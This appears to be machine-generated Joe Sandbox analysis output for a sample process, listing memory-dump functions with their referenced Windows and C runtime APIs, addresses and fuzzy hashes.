Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fd99b70dfc6966dce4256ea9522189a526efb06900cfd91d0ed215b37b37ac08
Instruction ID: ff5b1bf972942e55c0252ce18b7b4314d5019c2f76be7396e32e04661d4f1a5e
Opcode Fuzzy Hash: fd99b70dfc6966dce4256ea9522189a526efb06900cfd91d0ed215b37b37ac08
Instruction Fuzzy Hash: CC012930618A0C4FE794DF1CE4497A9B6E1FBAC310F6042AAA40DC7266DA749985CB81

Function 000002DC4BE55EC0 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 000002DC4BE55ED9

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e2d03e14ecea67ae3140c875a343d63f63740cbf0b01b1a0b106d18d7c617194
Instruction ID: b49cc3c20142cd51a4064eca0100786f4702a82c5a03e11474d089ca142f5318
Opcode Fuzzy Hash: e2d03e14ecea67ae3140c875a343d63f63740cbf0b01b1a0b106d18d7c617194
Instruction Fuzzy Hash: 6BF0FF30614A4A4BE709EB74D8A92A773D2FB94300F60492AF443C21A2EE68D945C682

Function 000002DC4BE87BE0 Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNELBASE ref: 000002DC4BE87C26

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: d64f5b2062c7967b43152f63818274d0a04062ae98c3a6f56fe57c2b33e813dc
Instruction ID: 594b9c75ff9649d56af4ff4b45b153aee3789c31a63a0bead539bb11d4b8c034
Opcode Fuzzy Hash: d64f5b2062c7967b43152f63818274d0a04062ae98c3a6f56fe57c2b33e813dc
Instruction Fuzzy Hash: 74F0E5342008088BE71DABB6EDC956033A5E749311F500B2AE52BC71E1EB3A5859C743

Function 000002DC4BEAE518 Relevance: 1.5, APIs: 1, Instructions: 23
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 000002DC4BEAE52E

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8f455e8927717cf74da2ea1d6b0ff16729446bc41146d6effb8fe588f7080467
Instruction ID: 9b4b7b08dc1b9ef4b211c4bf88a1662f1adb1eaae84980d8aedde3e10adacd7d
Opcode Fuzzy Hash: 8f455e8927717cf74da2ea1d6b0ff16729446bc41146d6effb8fe588f7080467
Instruction Fuzzy Hash: B7E0C234702A0707FF1C67BAACAD27B328B9BCD201F248426FC01C619AEE298C40C642

Function 000002DC4BE546B0 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 000002DC4BE546E2

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 86e0eb6f4946c0b3aae63fa0a3b42eecc3b4de38385dd7f2f15c74cfef035e0a
Instruction ID: 1ac56ab9ffa00f09623bd4d69c164ea09ad1bcf757e21d59e154f7c992adf454
Opcode Fuzzy Hash: 86e0eb6f4946c0b3aae63fa0a3b42eecc3b4de38385dd7f2f15c74cfef035e0a
Instruction Fuzzy Hash: 2B114C34604A298FDFD0EF5DC4D8B1577E1FB99331B584569E40ACB259D634CC45CB81

Non-executed Functions

Function 000002DC4BEB58DC Relevance: 8.0, APIs: 5, Instructions: 468COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 000002DC4BEB5921

Part of subcall function 000002DC4BEB5274: _invalid_parameter_noinfo.LIBCMT ref: 000002DC4BEB5288

Part of subcall function 000002DC4BEAE518: RtlFreeHeap.NTDLL ref: 000002DC4BEAE52E

_get_daylight.LIBCMT ref: 000002DC4BEB5910

Part of subcall function 000002DC4BEB52D4: _invalid_parameter_noinfo.LIBCMT ref: 000002DC4BEB52E8

_get_daylight.LIBCMT ref: 000002DC4BEB5B86
_get_daylight.LIBCMT ref: 000002DC4BEB5B97
_get_daylight.LIBCMT ref: 000002DC4BEB5BA8

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$FreeHeap
String ID:
API String ID: 552761200-0
Opcode ID: a7f2bf8d6ee9c32b1490e42ad02cb0604fc4ff821b5949c4f80fc3c9d251ac62
Instruction ID: a5be9f0a4b6f8ce97231c6e5f949d5f3e8038d4a103d19a5abe4e942f2fa5e95
Opcode Fuzzy Hash: a7f2bf8d6ee9c32b1490e42ad02cb0604fc4ff821b5949c4f80fc3c9d251ac62
Instruction Fuzzy Hash: 2AE197352187064BEB59EF28D8B96A777E7FB88340F60452BE446C72D2DA34DC41C786

Function 00007FF7F970E960 Relevance: 15.3, APIs: 10, Instructions: 262COMMON

Download Yara Rule

APIs

cef_string_multimap_size.LIBCEF ref: 00007FF7F970E97B
cef_string_multimap_key.LIBCEF ref: 00007FF7F970E9DB
cef_string_multimap_value.LIBCEF ref: 00007FF7F970EA0C
cef_string_utf16_set.LIBCEF ref: 00007FF7F970EA60
cef_string_utf16_set.LIBCEF ref: 00007FF7F970EAB9
cef_string_utf16_cmp.LIBCEF ref: 00007FF7F970EBC2
cef_string_utf16_clear.LIBCEF ref: 00007FF7F970EC26
cef_string_utf16_clear.LIBCEF ref: 00007FF7F970EC4B
cef_string_utf16_clear.LIBCEF ref: 00007FF7F970EC8B
cef_string_utf16_clear.LIBCEF ref: 00007FF7F970ECAF

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: cef_string_utf16_clear$cef_string_utf16_set$cef_string_multimap_keycef_string_multimap_sizecef_string_multimap_valuecef_string_utf16_cmp
String ID:
API String ID: 1610809521-0
Opcode ID: 2fd182909d36940ed77f8fa1be500dae443977ddcc0a19fb9f2af5057e379218
Instruction ID: 736b6be1bf5834385223905e11bf631e47d71a92c3f0c302accfdfb7f8045fcb
Opcode Fuzzy Hash: 2fd182909d36940ed77f8fa1be500dae443977ddcc0a19fb9f2af5057e379218
Instruction Fuzzy Hash: A6B16022609B8185EB96AF15AC4476AB7B1FF49BC0F988034DA5D077E8EF3CD444C3A0

Function 000002DC4BE7E710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492COMMON

Download Yara Rule

APIs

Part of subcall function 000002DC4BE7F190: __std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE7F1BF

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE7EBA6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE7EBAC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE7EBB2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE7EBB8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE7EBBE

Strings

0, xrefs: 000002DC4BE7E87D

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy
String ID: 0
API String ID: 1944019136-4108050209
Opcode ID: ba49a7cfee16781f8ea1fd221730e21fb97c5df0ad4d632842d7b8982b924624
Instruction ID: c11f0f6ad00bbd44c2999f16e01f29ae81f747fdc13a2d1552a4a634247ba42c
Opcode Fuzzy Hash: ba49a7cfee16781f8ea1fd221730e21fb97c5df0ad4d632842d7b8982b924624
Instruction Fuzzy Hash: 69E1EB35514E8D8FEB54EF28C898BEA77E2FBA9300F604A1AE449C3192DB74DD85C741

Function 00007FF7F96EE980 Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

cef_string_utf16_clear.LIBCEF ref: 00007FF7F96EE98D
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96EE996
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96EE99F
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96EE9A8
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96EE9B1
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96EE9BD
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96EE9C9

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: cef_string_utf16_clear
String ID:
API String ID: 2864223729-0
Opcode ID: 3172e399ba896f2375b6c67c0f11b0d6cee9284634a0a73235df06711df15462
Instruction ID: 5cf5bf708bc17c66b19be321a88a27ddae350fd7e883f3471fbbe9fcdef8d512
Opcode Fuzzy Hash: 3172e399ba896f2375b6c67c0f11b0d6cee9284634a0a73235df06711df15462
Instruction Fuzzy Hash: 2EF01412A1858991EB90FF64CC521FE5A31AB58744FC41E31E62D450EB9F18D55683B1

Function 000002DC4BE97CB0 Relevance: 9.2, APIs: 6, Instructions: 241COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 000002DC4BE97D62
DName::operator+.LIBVCRUNTIME ref: 000002DC4BE97D72
DName::operator+.LIBVCRUNTIME ref: 000002DC4BE97D8F
DName::operator+.LIBVCRUNTIME ref: 000002DC4BE97E02
DName::operator+.LIBVCRUNTIME ref: 000002DC4BE97E2B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: d02a360015473b4719725f8be3ceded12c4e7da7de9f02c09df3532ae03b7663
Instruction ID: f6dd4be62f39c3a1583c2b9411cd20e42f2523c748043de63e93b4d75c2d2b09
Opcode Fuzzy Hash: d02a360015473b4719725f8be3ceded12c4e7da7de9f02c09df3532ae03b7663
Instruction Fuzzy Hash: DD81C434924E0A8FEB55DF58D898BAA77F2FB95300F20415AD00AD7295DB749C89CB42

Function 000002DC4BE468B0 Relevance: 9.2, APIs: 6, Instructions: 196COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE46902
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE46927
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE46951
std::_Facet_Register.LIBCPMT ref: 000002DC4BE469CB
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE469E5
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE46A54

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 35ae5500d617e4e34fe7a48e5de47b389157bb8d741169297bf601fcce6233db
Instruction ID: d7512ad6e4cfb92b4c954559b149e647b76f8e52ff89df72b471b998727d9139
Opcode Fuzzy Hash: 35ae5500d617e4e34fe7a48e5de47b389157bb8d741169297bf601fcce6233db
Instruction Fuzzy Hash: 82519534118E1D8FEB54EF5CC499B66B7E1FBA9310F50055EE14AC31A2DA70EC44CB82

Function 000002DC4BE75ECC Relevance: 9.2, APIs: 6, Instructions: 164COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75EE1
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75F06
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75F30
std::_Facet_Register.LIBCPMT ref: 000002DC4BE75FA7
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75FC8
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE75FDB

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 61e06795d542277064a9063eb9b9662c84188e01c661d0321e092b5a3e40d221
Instruction ID: e0903de266ff9e7943753a51f4d91ae4171df12f8a815f0f9854793b309acc8f
Opcode Fuzzy Hash: 61e06795d542277064a9063eb9b9662c84188e01c661d0321e092b5a3e40d221
Instruction Fuzzy Hash: 2A51A434614A0E8FE798EF58D4A87A773D2FBD9310F60056BE409C3192DA70EC45CB82

Function 000002DC4BE64644 Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE64659
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE6467E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE646A8
std::_Facet_Register.LIBCPMT ref: 000002DC4BE6471F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64740
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE64753

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: d83bd2ec66cc20632ef20e6c13a125de58649c408e943948c276adf13a798222
Instruction ID: 2314b67beaa4439e49aa24bdccc93977df6b27038babec824f46ec7f80c98195
Opcode Fuzzy Hash: d83bd2ec66cc20632ef20e6c13a125de58649c408e943948c276adf13a798222
Instruction Fuzzy Hash: 15419135114D0A8FEB99EF5CD4A87AB73E2FBA9310F60055AE40AC3197DA70EC45C742

Function 000002DC4BE48000 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE4802B
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE48050
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE4807A
std::_Facet_Register.LIBCPMT ref: 000002DC4BE480F1
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE4810B
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE48133

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 1001463fed7176c6a56c2cc361bdc8a5f2760466829b86a5aa937572d60040f5
Instruction ID: 7ea05369f60602f67c8acc49c3331ae925093ab2e859334bac4df78ac64e23ec
Opcode Fuzzy Hash: 1001463fed7176c6a56c2cc361bdc8a5f2760466829b86a5aa937572d60040f5
Instruction Fuzzy Hash: C2416535118E098FE784EF58D4A9B6777E1FBA8310F20056FE05AD32A2DA30DD46CB42

Function 000002DC4BE520A0 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE520CB
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE520F0
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5211A
std::_Facet_Register.LIBCPMT ref: 000002DC4BE52191
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE521AB
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE521D3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 9d8fa5dccc2c7df26ba784e87d8baca838a30e895e23befe89f00c96d4a17384
Instruction ID: 55b3d2e9e263d76662ea0c862dce7a5fbcbf106b5903ed7423b66018b15c311e
Opcode Fuzzy Hash: 9d8fa5dccc2c7df26ba784e87d8baca838a30e895e23befe89f00c96d4a17384
Instruction Fuzzy Hash: AD419A35118E0A8FEB94EF58D69976773E2FBA8310F20065ED559C3163DA30DC45C742

Function 000002DC4BE51890 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE518BB
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE518E0
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5190A

Part of subcall function 000002DC4BE525E0: std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE5264B

std::_Facet_Register.LIBCPMT ref: 000002DC4BE51981
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5199B
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE519C3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2656477967-0
Opcode ID: aabf4c4db5fb73a72882f7e28f833ad5c50c59743f7b5512740becf53d4abf52
Instruction ID: f95cffa2f94c789f41ef4a1540ef75140a4b4cdef1ab63d3a655af1f475f82e2
Opcode Fuzzy Hash: aabf4c4db5fb73a72882f7e28f833ad5c50c59743f7b5512740becf53d4abf52
Instruction Fuzzy Hash: E1418335118E0A8FEB84EF58D4A97A777E2FBA8354F20066EE059C31A2CA30DD41C743

Function 000002DC4BE46D20 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE46D4B
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE46D70
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE46D9A

Part of subcall function 000002DC4BE43920: std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE4398B
Part of subcall function 000002DC4BE43920: _Getctype.LIBCPMT ref: 000002DC4BE439EB

std::_Facet_Register.LIBCPMT ref: 000002DC4BE46E11
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE46E2B
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE46E53

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Concurrency::cancel_current_taskFacet_GetctypeRegister
String ID:
API String ID: 3084244483-0
Opcode ID: 382b27cc47d4d4d2e3d12a9d844b30cb403f7a8cf6ab082c956de496a2ecd116
Instruction ID: ca192b5a57e53fffa405bbcd558e16d5684b16de3c8da8042605d77784606f92
Opcode Fuzzy Hash: 382b27cc47d4d4d2e3d12a9d844b30cb403f7a8cf6ab082c956de496a2ecd116
Instruction Fuzzy Hash: B4412135118E0ACFEB94EF58D499B67B7E2FBA8314F24055AD05AC31A2DA30DD45CB42

Function 000002DC4BE63B54 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63B69
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63B8E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63BB8
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63C2F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63C50
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63C63

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 36a46e987eec6efcde8bae8a05a4e734d5a5e009e9c00953979c006a253adb4b
Instruction ID: 2a2c1430d039b266162ea6ad751fdec0c743c2a02093d896d551cb4fb18a3fac
Opcode Fuzzy Hash: 36a46e987eec6efcde8bae8a05a4e734d5a5e009e9c00953979c006a253adb4b
Instruction Fuzzy Hash: C731B635108E0E8FEB59EF6CD4A8B6677D2FBA5310F61045AE04AC3192DA74EC41C752

Function 000002DC4BE642FC Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE64311
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE64336
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64360
std::_Facet_Register.LIBCPMT ref: 000002DC4BE643D7
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE643F8
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE6440B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: f5e824b2dde862fc8a5caf3f520fa1d0980ed76ea4d730938b0c4883bc113c9d
Instruction ID: cdf6d9528312a97261fffe07e0e52fe1129d9643383e7b9f5239b8c16f89b1a1
Opcode Fuzzy Hash: f5e824b2dde862fc8a5caf3f520fa1d0980ed76ea4d730938b0c4883bc113c9d
Instruction Fuzzy Hash: 7A317635154E0E8FE755EF5CD4A87A773E2FBA9311F60056AE14AC3192CA70EC45C742

Function 000002DC4BE63294 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE632A9
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE632CE
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE632F8
std::_Facet_Register.LIBCPMT ref: 000002DC4BE6336F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63390
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE633A3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0e0b4bc94f2b3c7afd887f05d336140725c02ad7d302b9a78c8a1559e9cda62f
Instruction ID: e325417b2a6088a4f88c62b294cbbbb73bba74eb0f6a7032cf7a3adbbb574410
Opcode Fuzzy Hash: 0e0b4bc94f2b3c7afd887f05d336140725c02ad7d302b9a78c8a1559e9cda62f
Instruction Fuzzy Hash: 2A317234218E0E8FFB55EF5CD8A8B6A77D2FBA5311F60051AD01AC71A2DA74EC02C742

Function 000002DC4BE75A6C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75A81
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75AA6
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75AD0
std::_Facet_Register.LIBCPMT ref: 000002DC4BE75B47
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75B68
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE75B7B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: f72df842b82b4a430b4d027ead144aca89143fcd5ebe3d3ae9cdc68471bc4dd1
Instruction ID: b351130b57abb57aa3abf1381039fd690e4917acdc0bac389d936b1fc3aa0c84
Opcode Fuzzy Hash: f72df842b82b4a430b4d027ead144aca89143fcd5ebe3d3ae9cdc68471bc4dd1
Instruction Fuzzy Hash: EE315335618A1D8FE795EB58D8A876773E2FBA5310F20056BD04AC7196DA70EC05C782

Function 000002DC4BE63A3C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63A51
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63A76
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63AA0
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63B17
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63B38
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63B4B

Memory Dump Source

